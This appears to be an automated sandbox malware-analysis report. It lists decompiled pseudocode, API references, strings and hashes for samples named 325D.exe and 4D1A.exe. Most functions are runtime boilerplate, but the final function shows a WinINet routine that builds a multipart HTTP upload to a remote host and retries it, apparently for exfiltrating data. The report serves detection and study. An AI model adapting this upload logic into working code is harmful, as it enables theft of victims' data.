						_a8 = "ios_base::badbit set";
					}
					_t29 =  &_v24;
					E00420660(_t29,  &_a8);
					_v12 = 1;
					_v8 = _t30;
					_v24 = 0x401a18;
					_push(0x43e01c);
					_t20 =  &_v24;
					L3:
					_push(_t20);
					E00423690();
					goto L4;
				}
				_push(0);
				goto L3;
			}

0x0041d350
0x0041d353
0x0041d35c
0x0041d35e
0x0041d3cd
0x0041d3cd
0x0041d360
0x0041d365
0x0041d36e
0x0041d374
0x0041d3aa
0x0041d3c1
0x0041d3c3
0x0041d3ac
0x0041d3b1
0x0041d3b3
0x0041d3b3
0x0041d376
0x0041d37b
0x0041d37d
0x0041d37d
0x0041d388
0x0041d38b
0x0041d390
0x0041d393
0x0041d396
0x0041d39d
0x0041d3a2
0x0041d368
0x0041d368
0x0041d369
0x00000000
0x0041d369
0x0041d367
0x00000000

APIs

__CxxThrowException@8.LIBCMTD ref: 0041D369
std::exception::exception.LIBCMTD ref: 0041D38B

Strings

ios_base::badbit set, xrefs: 0041D37D
ios_base::failbit set, xrefs: 0041D3B3
ios_base::eofbit set, xrefs: 0041D3C3

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3728558374-1866435925
Opcode ID: 737250d408467d26b0c0d7bb90e4a7e50f2b8d24d0579217709d9b64a79ef46c
Instruction ID: cb7c81a3b656af127ca7d4c5e6a829835eec5d31bd8b1eeca5cd4ce151645d74
Opcode Fuzzy Hash: 737250d408467d26b0c0d7bb90e4a7e50f2b8d24d0579217709d9b64a79ef46c
Instruction Fuzzy Hash: 1C0152B1A0120CABC704EF6985066EE77E46B04358F54C42BFC15AB242D77DCA458F6A

Uniqueness

Uniqueness Score: -1.00%

Function 0041D9CF, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041D9CF(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t17;

				_push(_a4);
				E0041D2C3(_a4, _a8, L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0x98f);
				if(_a12 == 0) {
					E004201F0(L"invalid null pointer", L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0x990);
					_t17 = _t17 + 0xc;
				}
				E00420A90(_a12, _a4, _a8 - _a4);
				return _a8;
			}

0x0041d9d3
0x0041d9e7
0x0041d9f0
0x0041d9fd
0x0041da02
0x0041da02
0x0041da12
0x0041da1f

APIs

Part of subcall function 0041D2C3: std::_Debug_message.LIBCPMTD ref: 0041D2F9

std::_Debug_message.LIBCPMTD ref: 0041D9FD
_memmove.LIBCMT ref: 0041DA12

Strings

invalid null pointer, xrefs: 0041D9F8
C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale, xrefs: 0041D9D6, 0041D9E0, 0041D9F7

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messagestd::_$_memmove
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale$invalid null pointer
API String ID: 3614558019-955221705
Opcode ID: a60112d5f73250519a2c5d6f1698f5769d96ab7ac2997c2be8cdffa2ff72c77e
Instruction ID: 42cc9f1bff93f191855e041ad050ca75ec69e6426a8093ff93c88e55f548bb6d
Opcode Fuzzy Hash: a60112d5f73250519a2c5d6f1698f5769d96ab7ac2997c2be8cdffa2ff72c77e
Instruction Fuzzy Hash: 42F0303594021CBBDF019F45DC06EDA3F64EF113A4F008026FD1C191A2D7769A64D7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0041DA22, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0041DA22(intOrPtr _a4, intOrPtr _a8, intOrPtr _a16) {
				void* _t17;

				_push(_a4);
				E0041D2C3(_a4, _a8, L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0x99d);
				if(_a16 == 0) {
					E004201F0(L"invalid null pointer", L"C:\\Program Files (x86)\\Microsoft Visual Studio 10.0\\VC\\include\\xlocale", 0x99e);
					_t17 = _t17 + 0xc;
				}
				E00420A90(_a16, _a4, _a8 - _a4);
				return _a8;
			}

0x0041da26
0x0041da3a
0x0041da43
0x0041da50
0x0041da55
0x0041da55
0x0041da65
0x0041da72

APIs

Part of subcall function 0041D2C3: std::_Debug_message.LIBCPMTD ref: 0041D2F9

std::_Debug_message.LIBCPMTD ref: 0041DA50
_memmove.LIBCMT ref: 0041DA65

Strings

invalid null pointer, xrefs: 0041DA4B
C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale, xrefs: 0041DA29, 0041DA33, 0041DA4A

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Debug_messagestd::_$_memmove
String ID: C:\Program Files (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale$invalid null pointer
API String ID: 3614558019-955221705
Opcode ID: 372324b463c3e2f6ea87b04da71c2b1291146fa10298d9534c3770adc7a6c383
Instruction ID: aa94861d176f6ac8c2618653b9cd0a5c09680d1a1467b36467b2b72e7d05b8dd
Opcode Fuzzy Hash: 372324b463c3e2f6ea87b04da71c2b1291146fa10298d9534c3770adc7a6c383
Instruction Fuzzy Hash: FEF0303594021CBBDF019F55EC06EDA3F65DF113A4F008026FD0C191A2C2769AA4D7D9

Uniqueness

Uniqueness Score: -1.00%

Function 00424C10, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00424C10(char _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v32;
				signed int _t11;
				signed int _t27;

				_push(0xfffffffe);
				_push(0x43e700);
				_push(E004275F0);
				_push( *[fs:0x0]);
				_t11 =  *0x447b80; // 0xe097147a
				_v12 = _v12 ^ _t11;
				_push(_t11 ^ _t27);
				_t3 =  &_v20; // 0x423669
				 *[fs:0x0] = _t3;
				E00423C00();
				_v8 = 0;
				_t5 =  &_a4; // 0x423669
				_v32 = E00424C90( *_t5);
				_v8 = 0xfffffffe;
				E00424C6B();
				_t9 =  &_v20; // 0x423669
				 *[fs:0x0] =  *_t9;
				return _v32;
			}

0x00424c15
0x00424c17
0x00424c1c
0x00424c27
0x00424c2e
0x00424c33
0x00424c38
0x00424c39
0x00424c3c
0x00424c42
0x00424c47
0x00424c4e
0x00424c5a
0x00424c5d
0x00424c64
0x00424c74
0x00424c77
0x00424c85

APIs

__onexit_nolock.LIBCMTD ref: 00424C52

Part of subcall function 00424C90: DecodePointer.KERNEL32(?,00424C57,i6B,E097147A), ref: 00424C9E
Part of subcall function 00424C90: DecodePointer.KERNEL32(?), ref: 00424CAE

Strings

i6B, xrefs: 00424C39, 00424C74
i6B, xrefs: 00424C4E, 00424C51

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: DecodePointer$__onexit_nolock
String ID: i6B$i6B
API String ID: 1291430618-181027038
Opcode ID: fd7c178cf2d4c51eb65d0fa0c8b00518c8fbed956de1760a550424c6f9d28b05
Instruction ID: 2b04e2d959eac300b4e3bd805978f211653e8b71308d256705e08e3b25770a39
Opcode Fuzzy Hash: fd7c178cf2d4c51eb65d0fa0c8b00518c8fbed956de1760a550424c6f9d28b05
Instruction Fuzzy Hash: D9F0F9B6A04658ABC700CF9AEC45B9BB7B8FB85734F10462BF425D3380D73D55008A54

Uniqueness

Uniqueness Score: -1.00%

Function 0043DA50, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043DA50(void* __eflags) {

				E0041FDF0(0x4c4f50);
				return E00424DE0(E0043DB70);
			}

0x0043da5a
0x0043da6d

APIs

std::_System_error_category::_System_error_category.LIBCPMTD ref: 0043DA5A

Part of subcall function 0041FDF0: std::_Generic_error_category::_Generic_error_category.LIBCPMTD ref: 0041FDFC

_atexit.LIBCMTD ref: 0043DA64

Strings

POL, xrefs: 0043DA55

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Generic_error_categoryGeneric_error_category::_System_error_categorySystem_error_category::__atexit
String ID: POL
API String ID: 3833594402-2608245203
Opcode ID: d7d65c6700f48b9c1d85d2e9184f29cf2b9984fd040b7e39479da86890ddeaa3
Instruction ID: caed6d9c4c9a1aebe5e1641cdbc2e222a78325a7c9106c5418ff6ef69e4e9c11
Opcode Fuzzy Hash: d7d65c6700f48b9c1d85d2e9184f29cf2b9984fd040b7e39479da86890ddeaa3
Instruction Fuzzy Hash: AFB092BAA9021813060131963927E6A725A88C4B28BA9003FB91E022426C49B96680AF

Uniqueness

Uniqueness Score: -1.00%

Function 0043DA70, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043DA70() {

				E0041E540(0x4c4fec);
				return E00424DE0(E0043DB90);
			}

0x0043da7a
0x0043da8d

APIs

std::_Init_locks::_Init_locks.LIBCPMTD ref: 0043DA7A

Part of subcall function 0041E540: InterlockedIncrement.KERNEL32(004479A8), ref: 0041E550

_atexit.LIBCMTD ref: 0043DA84

Strings

OL, xrefs: 0043DA75

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: IncrementInit_locksInit_locks::_Interlocked_atexitstd::_
String ID: OL
API String ID: 970615194-3971664621
Opcode ID: 0c3e92233d77ceacf952699620bd3dd16d69f537b8b808caaf536f1809dfc9d4
Instruction ID: 1a9afa6eb2cd93cacb9be53d9c9f72ace77b7db3bb6fdc77157b45a6e8b9129f
Opcode Fuzzy Hash: 0c3e92233d77ceacf952699620bd3dd16d69f537b8b808caaf536f1809dfc9d4
Instruction Fuzzy Hash: D7B0927EA502A822011131D73823E6A724E84C4B2CBA9002FB90D022433D5DBAA080AF

Uniqueness

Uniqueness Score: -1.00%

Function 0043DA10, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043DA10(void* __eflags) {

				E0041EF20(0x4c4f64);
				return E00424DE0(E0043DB30);
			}

0x0043da1a
0x0043da2d

APIs

std::_Generic_error_category::_Generic_error_category.LIBCPMTD ref: 0043DA1A
_atexit.LIBCMTD ref: 0043DA24

Strings

dOL, xrefs: 0043DA15

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Generic_error_categoryGeneric_error_category::__atexitstd::_
String ID: dOL
API String ID: 3960646304-3088376991
Opcode ID: a3db615cfac5bc12b55c09ff4bab3de4b36096e63b8c9c4fab1b99725f370d67
Instruction ID: aa1d96e57c7ae56cd5bbb732fd8aea22b2860897c4863f57ec2b3a46cf0dccfa
Opcode Fuzzy Hash: a3db615cfac5bc12b55c09ff4bab3de4b36096e63b8c9c4fab1b99725f370d67
Instruction Fuzzy Hash: 60B0927AA6431922024532973823A9A724A88C8B28B99002FBD8D022432D49B96180AF

Uniqueness

Uniqueness Score: -1.00%

Function 0043DA30, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043DA30(void* __eflags) {

				E0041FD40(0x4c4f5c);
				return E00424DE0(E0043DB50);
			}

0x0043da3a
0x0043da4d

APIs

std::_Generic_error_category::_Generic_error_category.LIBCPMTD ref: 0043DA3A
_atexit.LIBCMTD ref: 0043DA44

Strings

\OL, xrefs: 0043DA35

Memory Dump Source

Source File: 00000016.00000002.403434331.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.403425689.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.403505331.0000000000447000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403516971.00000000004C5000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.403524346.00000000004C9000.00000002.00020000.sdmp Download File

Similarity

API ID: Generic_error_categoryGeneric_error_category::__atexitstd::_
String ID: \OL
API String ID: 3960646304-2456572087
Opcode ID: d42f3e62f38caf3d6603ba63002d7c1166142dc4e22c081cab3f610ab024f861
Instruction ID: cb1e99182481137889a11706fc8bac71317bb4ba2c8d8aa4e1eddfa328e6d2e6
Opcode Fuzzy Hash: d42f3e62f38caf3d6603ba63002d7c1166142dc4e22c081cab3f610ab024f861
Instruction Fuzzy Hash: DBB0927AA5025812090131D73927A6A724A84C4B28F99003FB91E06642AD49B965D4AF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 325D.exe PID: 6556 Parent PID: 5776 325D.exeCOMMON

Executed Functions

Function 0040196D, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040196D(void* __eax, void* __ebx, void* __ecx, void* __edi, short __esi, void* __fp0) {
				intOrPtr _t14;
				void* _t17;
				intOrPtr* _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				signed int _t33;
				intOrPtr* _t35;
				void* _t38;

				_t31 = __esi;
				_t29 = __edi;
				asm("in eax, 0xe5");
				 *((short*)(__eax + _t33 * 2)) = __esi;
				 *((intOrPtr*)(__eax + _t33 * 2)) = __esi;
				_push(0x1999);
				_t14 =  *_t35;
				__eflags = __al;
				_t26 = 0x5c;
				E004012AB(_t14, __ebx, _t26, _t28, __edi, __esi, _t38);
				_t23 =  *((intOrPtr*)(_t33 + 8));
				Sleep(0x1388);
				_t17 = E004014EA(_t28, _t38, __fp0, _t23,  *((intOrPtr*)(_t33 + 0xc)),  *((intOrPtr*)(_t33 + 0x10)), _t33 - 4); // executed
				_t39 = _t17;
				if(_t17 != 0) {
					_push( *((intOrPtr*)(_t33 + 0x14)));
					_push( *((intOrPtr*)(_t33 - 4)));
					_push(_t17);
					_push(_t23); // executed
					E004015BD(_t23, _t28, _t29, _t31, _t39); // executed
				}
				 *_t23(0xffffffff, 0); // executed
				_t27 = 0x5c;
				return E004012AB(0x1999, _t23, _t27, _t28, _t29, _t31, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Strings

j\Y, xrefs: 00401989

Memory Dump Source

Source File: 00000017.00000002.415174323.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID: j\Y
API String ID: 417527130-662177190
Opcode ID: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction ID: 595b9c3ea7707adfb89ee20c44a57f79679102a22a402f6ef59d3c67027402ce
Opcode Fuzzy Hash: 60e19d2a587da5622c2a6d9172a049e9a5b2b5b2e4593a54255e3bb5c4ee03a0
Instruction Fuzzy Hash: B10184B2604245EBDB005FE5DC92DAA3B74AF01314F2401ABF512B91F2DA3C8513E71A

Uniqueness

Uniqueness Score: -1.00%

Function 00401962, Relevance: 3.1, APIs: 2, Instructions: 52
sleepnativeCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401962(void* __ecx, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t9;
				void* _t12;
				void* _t17;
				intOrPtr* _t18;
				void* _t20;
				void* _t21;
				void* _t22;
				void* _t23;
				void* _t24;
				intOrPtr* _t25;
				void* _t27;

				_push(0x1999);
				_t9 =  *_t25;
				__eflags = __al;
				_t20 = 0x5c;
				E004012AB(_t9, _t17, _t20, _t22, _t23, _t24, _t27);
				_t18 = _a4;
				Sleep(0x1388);
				_t12 = E004014EA(_t22, _t27, __fp0, _t18, _a8, _a12,  &_v8); // executed
				_t28 = _t12;
				if(_t12 != 0) {
					_push(_a16);
					_push(_v8);
					_push(_t12);
					_push(_t18); // executed
					E004015BD(_t18, _t22, _t23, _t24, _t28); // executed
				}
				 *_t18(0xffffffff, 0); // executed
				_t21 = 0x5c;
				return E004012AB(0x1999, _t18, _t21, _t22, _t23, _t24, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 004019A1
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000017.00000002.415174323.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction ID: c7dbb5b86db80192b1cd6b67b95130a9e8bba6362884e51d04f8a5ef40e6dacf
Opcode Fuzzy Hash: e6583a46ba0c482cc9ee2622c86c4f26a038c05ef2be8949cbdfc3cdf2952675
Instruction Fuzzy Hash: A50144F1208205FBEB005AD59DA2E7B3668AB01715F20013BBA03790F1D57D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401A0B, Relevance: 1.6, APIs: 1, Instructions: 96nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004019C9

Memory Dump Source

Source File: 00000017.00000002.415174323.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction ID: 6d9108f025a0daaf84588f91761baf46a4613dd7645499535b00fdf5ce75212c
Opcode Fuzzy Hash: 00d9af8ada967e92f08724f842517e3d5e3f1b979023ce9469ee702bd8b35524
Instruction Fuzzy Hash: 3E21D074609204EAC7156665C863FB637909B41329F60153FE9A3BE2F2C67C4487EB27

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 4D1A.exe PID: 7112 Parent PID: 3352 4D1A.exeCOMMON

Executed Functions

Function 00404BE0, Relevance: 117.6, APIs: 56, Strings: 11, Instructions: 371
stringnetworkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00404BE0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, intOrPtr _a16, int _a20, intOrPtr _a24) {
				void _v8;
				char _v516;
				void* _v520;
				char _v1028;
				void* _v1032;
				void _v1548;
				int _v1552;
				long _v1556;
				long _v1560;
				char _v6564;
				void* _v6568;
				long _v6572;
				void _v6828;
				DWORD* _v6832;
				DWORD* _v6836;
				void* _v6840;
				intOrPtr _v6844;
				DWORD* _v6848;
				void _v8852;
				int _v8856;
				long _v8860;
				void* _t120;
				void* _t132;
				intOrPtr _t154;
				intOrPtr _t169;
				intOrPtr _t172;
				void* _t176;
				void* _t179;
				DWORD* _t204;
				char* _t207;
				char* _t219;
				intOrPtr _t221;
				intOrPtr _t225;
				char* _t239;
				intOrPtr _t248;
				char* _t251;
				void* _t275;
				void* _t276;

				_t211 = __ecx;
				E004139B0(0x2298, __ecx);
				E0040B6E0(_t211,  &_v6564, 0, 0x1388);
				E0040B720( &_v516, 0x1f4);
				E0040B720( &_v1548, 0x200);
				_t120 = RtlAllocateHeap(GetProcessHeap(), 0, 0x800000); // executed
				_v1552 = _t120;
				E0040B720( &_v1028, 0x1f4);
				_v520 = InternetOpenA(0, 1, 0, 0, 0);
				_v8 = 0x927c0;
				_t213 =  &_v8;
				InternetSetOptionA(_v520, 2,  &_v8, 4);
				_v6572 = 0x100;
				_v1556 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v1556 = 1;
				}
				_t280 = _v520;
				if(_v520 != 0) {
					_t132 = E0040B8B0(_t213, _t280, 0x10);
					_t276 = _t276 + 4;
					 *0x41aa24( &_v516, _t132);
					 *0x41aa24(_v1552, "\r\n");
					 *0x41aa24(_v1552, "------");
					 *0x41aa24(_v1552,  &_v516);
					 *0x41aa24(_v1552, "--");
					 *0x41aa24(_v1552, "\r\n");
					_t248 =  *0x41a1bc; // 0x7c3138
					 *0x41aa24( &_v1028, _t248);
					 *0x41aa24( &_v1028,  &_v516);
					if(_v1556 == 0) {
						_v6568 = InternetConnectA(_v520, _a8, 0x50, 0, 0, 3, 0, 0);
					} else {
						_v6568 = InternetConnectA(_v520, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v6568 != 0) {
						if(_v1556 == 0) {
							_t251 =  *0x41a2d8; // 0x7c7e00
							_t219 =  *0x41a590; // 0x7c7180
							_v1032 = HttpOpenRequestA(_v6568, _t219, _a12, _t251, 0, 0, 0x400100, 0);
						} else {
							_t239 =  *0x41a2d8; // 0x7c7e00
							_t207 =  *0x41a590; // 0x7c7180
							_v1032 = HttpOpenRequestA(_v6568, _t207, _a12, _t239, 0, 0, 0xc00100, 0);
						}
						if(_v1032 != 0) {
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t221 =  *0x41a2cc; // 0x7c6020
							 *0x41aa24( &_v1548, _t221);
							_t154 =  *0x41a058; // 0x7c7210
							 *0x41aa24( &_v1548, _t154);
							 *0x41aa24( &_v1548, "\"\r\n\r\n");
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\r\n");
							 *0x41aa24( &_v1548, "------");
							 *0x41aa24( &_v1548,  &_v516);
							 *0x41aa24( &_v1548, "\r\n");
							_t225 =  *0x41a644; // 0x7a7040
							 *0x41aa24( &_v1548, _t225);
							 *0x41aa24( &_v1548, _a16);
							 *0x41aa24( &_v1548, "\"\r\n");
							_t169 =  *0x41a038; // 0x7c6050
							 *0x41aa24( &_v1548, _t169);
							 *0x41aa24( &_v1548, "\r\n");
							_t172 =  *0x41a538; // 0x7c6140
							 *0x41aa24( &_v1548, _t172);
							 *0x41aa24( &_v1548, "\r\n\r\n");
							_t176 =  *0x41a908( &_v1548);
							_v1560 = _t176 + _a24 +  *0x41a908(_v1552);
							_t179 = RtlAllocateHeap(GetProcessHeap(), 0, _v1560); // executed
							_v6840 = _t179;
							memcpy(_v6840,  &_v1548,  *0x41a908( &_v1548));
							memcpy(_v6840 +  *0x41a908(_a24),  &_v1548, _a20);
							memcpy( *0x41a908( *0x41a908(_v1552)) + _a24 + _v6840,  &_v1548, _v1552);
							_v6848 = 0;
							while(_v6848 < 6) {
								HttpSendRequestA(_v1032,  &_v1028,  *0x41a908(_v1560),  &_v1028, _v6840);
								if(HttpQueryInfoA(_v1032, 0x13,  &_v6828,  &_v6572, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t204 =  &(_v6848[0]);
									__eflags = _t204;
									_v6848 = _t204;
									continue;
								} else {
									_push("200");
									_push( &_v6828);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
									}
								}
								break;
							}
							E0040B720( &_v6840, 4);
							_v6836 = 0;
							_v6832 = 0;
							_v6844 = 0x4000;
							while(1) {
								_v8856 = InternetReadFile(_v1032,  &_v8852, 0x7cf,  &_v8860);
								if(_v8856 == 0) {
									break;
								}
								_t289 = _v8860;
								if(_v8860 != 0) {
									 *((char*)(_t275 + _v8860 - 0x2290)) = 0;
									 *0x41aa24( &_v6564,  &_v8852);
									continue;
								}
								break;
							}
						}
					}
				}
				InternetCloseHandle(_v1032);
				InternetCloseHandle(_v6568);
				InternetCloseHandle(_v520);
				return E00404830(_v520, _t289,  &_v6564);
			}

0x00404be0
0x00404be8
0x00404bfc
0x00404c0d
0x00404c1e
0x00404c31
0x00404c37
0x00404c49
0x00404c5e
0x00404c64
0x00404c6d
0x00404c7a
0x00404c80
0x00404c8a
0x00404c94
0x00404c9c
0x00404ca5
0x00404ca7
0x00404ca7
0x00404cb1
0x00404cb8
0x00404cc0
0x00404cc5
0x00404cd0
0x00404ce2
0x00404cf4
0x00404d08
0x00404d1a
0x00404d2c
0x00404d32
0x00404d40
0x00404d54
0x00404d61
0x00404da8
0x00404d63
0x00404d83
0x00404d83
0x00404db5
0x00404dc2
0x00404e00
0x00404e0b
0x00404e1f
0x00404dc4
0x00404dcf
0x00404dda
0x00404ded
0x00404ded
0x00404e2c
0x00404e3e
0x00404e52
0x00404e64
0x00404e6a
0x00404e78
0x00404e7e
0x00404e8b
0x00404e9d
0x00404eae
0x00404ec0
0x00404ed2
0x00404ee6
0x00404ef8
0x00404efe
0x00404f0c
0x00404f1d
0x00404f2f
0x00404f35
0x00404f42
0x00404f54
0x00404f5a
0x00404f67
0x00404f79
0x00404f86
0x00404fa0
0x00404fb6
0x00404fbc
0x00404fde
0x00405000
0x00405032
0x00405038
0x00405053
0x00405086
0x004050ad
0x004050c7
0x004050cc
0x0040504a
0x0040504a
0x0040504d
0x00000000
0x004050af
0x004050af
0x004050ba
0x004050c3
0x00000000
0x00000000
0x004050c5
0x004050c3
0x00000000
0x004050ad
0x004050e0
0x004050e5
0x004050ef
0x004050f9
0x00405103
0x00405123
0x00405130
0x00000000
0x00000000
0x00405132
0x00405139
0x00405143
0x00405159
0x00000000
0x00405159
0x00000000
0x00405139
0x0040513b
0x00404e2c
0x00404db5
0x00405168
0x00405175
0x00405182
0x0040519b

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388,?,?,00406843,007C2160,007C5130,007C7118,?), ref: 00404C2A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C31
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404C58
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00404C7A
StrCmpCA.SHLWAPI(?,https://), ref: 00404C9D
lstrcat.KERNEL32(?,00000000), ref: 00404CD0
lstrcat.KERNEL32(?,00418B9C), ref: 00404CE2
lstrcat.KERNEL32(?,------), ref: 00404CF4
lstrcat.KERNEL32(?,?), ref: 00404D08
lstrcat.KERNEL32(?,00418BA8), ref: 00404D1A
lstrcat.KERNEL32(?,00418B9C), ref: 00404D2C
lstrcat.KERNEL32(?,007C3138), ref: 00404D40
lstrcat.KERNEL32(?,?), ref: 00404D54
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00404D7D
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00404DA2
HttpOpenRequestA.WININET(00000000,007C7180,?,007C7E00,00000000,00000000,00C00100,00000000), ref: 00404DE7
HttpOpenRequestA.WININET(00000000,007C7180,?,007C7E00,00000000,00000000,00400100,00000000), ref: 00404E19
lstrcat.KERNEL32(?,------), ref: 00404E3E
lstrcat.KERNEL32(?,?), ref: 00404E52
lstrcat.KERNEL32(?,00418B9C), ref: 00404E64
lstrcat.KERNEL32(?,007C6020), ref: 00404E78
lstrcat.KERNEL32(?,007C7210), ref: 00404E8B
lstrcat.KERNEL32(?,"), ref: 00404E9D
lstrcat.KERNEL32(?,?), ref: 00404EAE
lstrcat.KERNEL32(?,00418B9C), ref: 00404EC0
lstrcat.KERNEL32(?,------), ref: 00404ED2
